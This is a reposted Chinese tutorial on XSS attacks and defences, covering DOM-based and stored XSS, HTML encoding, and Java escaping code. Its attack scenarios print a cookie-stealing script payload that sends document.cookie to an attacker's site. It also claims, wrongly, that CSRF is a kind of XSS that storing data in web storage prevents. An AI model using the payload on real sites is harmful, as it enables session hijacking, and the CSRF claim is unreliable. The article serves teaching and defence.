add by zhj: 略有修改。另外还有一篇文章值得参考,使用 PHP 构建的 Web 应用如何避免 XSS 攻击,总得来说防御XSS的方法是客户端和服务端都

要对输入做检查,如果只有客户端做检查,那攻击者不用你的客户端而使用第三方工具发起攻击,你就玩完了,客户端就成了马奇诺防线。如果后端用的

是Python,那检查可参考Cross-site scripting (XSS) defense (Python recipe)

原文:http://blog.csdn.net/ghsau/article/details/17027893

作者:高爽|Coder

目录

1. XSS攻击

1.1  DOM Based XSS

1.2  Stored XSS

2. XSS防御

2.1 完善的过滤体系

  1. 2.2 Htmlencode

3. CSRF与XSS的关系

XSS,全称Cross SiteScript,跨站脚本攻击。为何不叫CSS呢?因为层叠样式表(Cascading Style Sheets, CSS)的缩写是CSS,不了不混淆,所以称为XSS。它是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

1.  XSS攻击

XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为三种,第一种是DOM Based XSS漏洞,第二种是反射型XSS,第三种是Stored XSS漏洞(add by zhj:  其实从防御上来说,他们之间没有什么差别,都是要客户端和服务端对输入做检查)。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

1.1  DOM Based XSS

DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。add by zhj : 反射型XSS与DOM Based XSS基本上没啥差别

场景一

当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:

<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

    <head>

       <title>XSS测试</title>

    </head>

    <body>

       页面内容:<%=request.getParameter("content")%>

    </body>

</html>

我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie一般会有sesseionID,攻击成功!这个过程中,受害者只有Tom自己。那如此攻击多个人呢?使用下面的Stored XSS

1.2  Stored XSS

Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

场景二

网站a.com上可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。Stored XSS漏洞危害性更大,危害面更广。如果这个连接广泛在a.com传播,那就会有越来越多的人中招,新浪微博和人人网都遇到过这种攻击,参见人人网又一大波蠕虫,位置在首页+登录就中招+通杀网页和人人桌面,在用户上传照片的地方有XSS漏洞,攻击者可以在照片地址后面加入onload参数,绑定一个js脚本,这样加载这个照片时,就自动执行js脚本,用户根本不用点击什么按钮,只有他看到了这张照片,那就已经执行了js脚本。这种XSS攻击很容易实现扩散,比如在js脚本中写一个post请求,发一条同样的带有xss的图片就行了。

2.  XSS防御

我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。

2.1 完善的过滤体系

永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。add by zhj: 而且这种检查必须是客户端和服务端都要做,

如果只有客户端做检查,那攻击者不用你的客户端而使用第三方工具发起攻击,你就玩完了,客户端就成了马奇诺防线。

2.2 Html encode

假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (")

&quot;

space character( )

&nbsp;

Any ASCII code character whose code is greater-than or equal to 0x80

&#<number>, where <number> is the ASCII character value.

比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

下面提供两种Html encode的方法。

  • 使用Apache的commons-lang.jar
StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换
  • 自己实现转换,只转换部分字符
private static String htmlEncode(char c) {

    switch(c) {

       case '&':

           return"&amp;";

       case '<':

           return"&lt;";

       case '>':

           return"&gt;";

       case '"':

           return"&quot;";

       case ' ':

           return"&nbsp;";

       default:

           return c +"";

    }

}

/** 对传入的字符串str进行Html encode转换 */

public static String htmlEncode(String str) {

    if(str ==null || str.trim().equals(""))   return str;

    StringBuilder encodeStrBuilder = new StringBuilder();

    for (int i = 0, len = str.length(); i < len; i++) {

       encodeStrBuilder.append(htmlEncode(str.charAt(i)));

    }

    return encodeStrBuilder.toString();

}

3.  XSS的CSRF关系(add by zhj)

研究了半天CSRF和XSS,感觉CSRF应该是XSS的一种而已,如果XSS标签没有放在被攻击者登录的网站,而是在另一个网站,而且XSS攻击时访问的网站是被攻击者登录的网站,那这种XSS攻击也称为CSRF攻击。可见,CSRF攻击是XSS攻击的一种,还有一种XSS攻击是访问攻击者自己的网站,这种攻击标签一般是放在被攻击者登录的网站,这样攻击标签绑定的js脚本就可以获取被攻击者在登录网站的一些信息,如cookie,然后把这些信息发给攻击者自己的网站。这样,攻击者就窃取了被攻击者的信息。从防护措施上来看,CSRF的防护比XSS要简单,只需要客户端修改,CSRF只要客户端不要把数据保存在cookie,而是保存在web storage中即可防御CSRF;而对于XSS,就需要前后端都要对输入进行检查才行。

XSS攻击及防御(转)的更多相关文章

  1. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  2. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  3. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  4. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  5. xss攻击与防御

    一.XSS攻击 Cross Site Scripting跨站脚本攻击 利用js和DOM攻击. 盗用cookie,获取敏感信息 破坏正常页面结构,插入恶意内容(广告..) 劫持前端逻辑 DDos攻击效果 ...

  6. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  7. 转---如何让前端更安全?——XSS攻击和防御详解

    前言 平时很少关注安全这块的技术,曾经也买过一本<Web前端黑客技术揭秘>但至今还没翻过,尴尬.今天的早读文章由腾讯优测@小吉带来的分享. 正文从这开始~ 最近深入了解了一下XSS攻击.以 ...

  8. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  9. XSS 攻击实验 & 防御方案

    XSS 攻击&防御实验 不要觉得你的网站很安全,实际上每个网站或多或少都存在漏洞,其中xss/csrf是最常见的漏洞,也是最容易被开发者忽略的漏洞,一不小心就要被黑 下面以一个用户列表页面来演 ...

随机推荐

  1. Qt之模型/视图(自定义按钮)

    简述 衍伸前面的章节,我们对QTableView实现了数据显示.自定义排序.显示复选框.进度条等功能的实现,本节主要针对自定义按钮进行讲解,这节过后,也希望大家对自定义有更深入的了解,在以后的功能开发 ...

  2. win7防火墙开启ping

    默认情况下,Windows7出于安全考虑是不允许外部主机对其进行Ping测试的. 但在局域网环境中,Ping是测试网络情况的常用手段,如何允许 Windows7的ping测试回显呢? 打开: 控制面板 ...

  3. UVa 10859 Placing Lampposts

    这种深层递归的题还是要多多体会,只看一遍是不够的 题意:有一个森林,在若干个节点处放一盏灯,灯能照亮与节点邻接的边.要求:符合要求的放置的灯最少为多少,在灯数最少的前提下,一条边同时被两盏灯照亮的边数 ...

  4. 51nod1406 与查询

    这题卡I/O...dp一下... #include<cstdio> #include<cstring> #include<cctype> #include<a ...

  5. 【第一篇】说说MVC+EF easyui dataGrid 动态加载分页表格

    首先上javascript的代码 <script type="text/javascript"> $(function () { LoadGrid(); }) //加载 ...

  6. HDU 5273 Dylans loves numbers(水题)

    题意:给出一个0≤N≤1018,求其二进制中有几处是具有1的,假设相连的1只算1处,比如1101011就是3处. 思路:一个个数,当遇到第一个1时就将flag置为1:当遇到0就将flag置为0.当遇到 ...

  7. 【英语】Bingo口语笔记(24) - L的发音技巧

    舌头往上跑

  8. jquery事件学习笔记(转载)

    一.页面载入1.ready(fn)当DOM载入就绪可以查询及操纵时绑定一个要执行的函数.这是事件模块中最重要的一个函数,因为它可以极大地提高web应用程序的响应速度. 简单地说,这个方法纯粹是对向wi ...

  9. delete archivelog all 无法彻底删除归档日志?

    最近在因归档日志暴增,使用delete archivelog all貌似无法清除所有的归档日志,到底是什么原因呢? 1.演示环境 SQL> select * from v$version whe ...

  10. xxx

       <div style="position:absolute;left:0px;top:50px;width:1300px;height:550px;"><d ...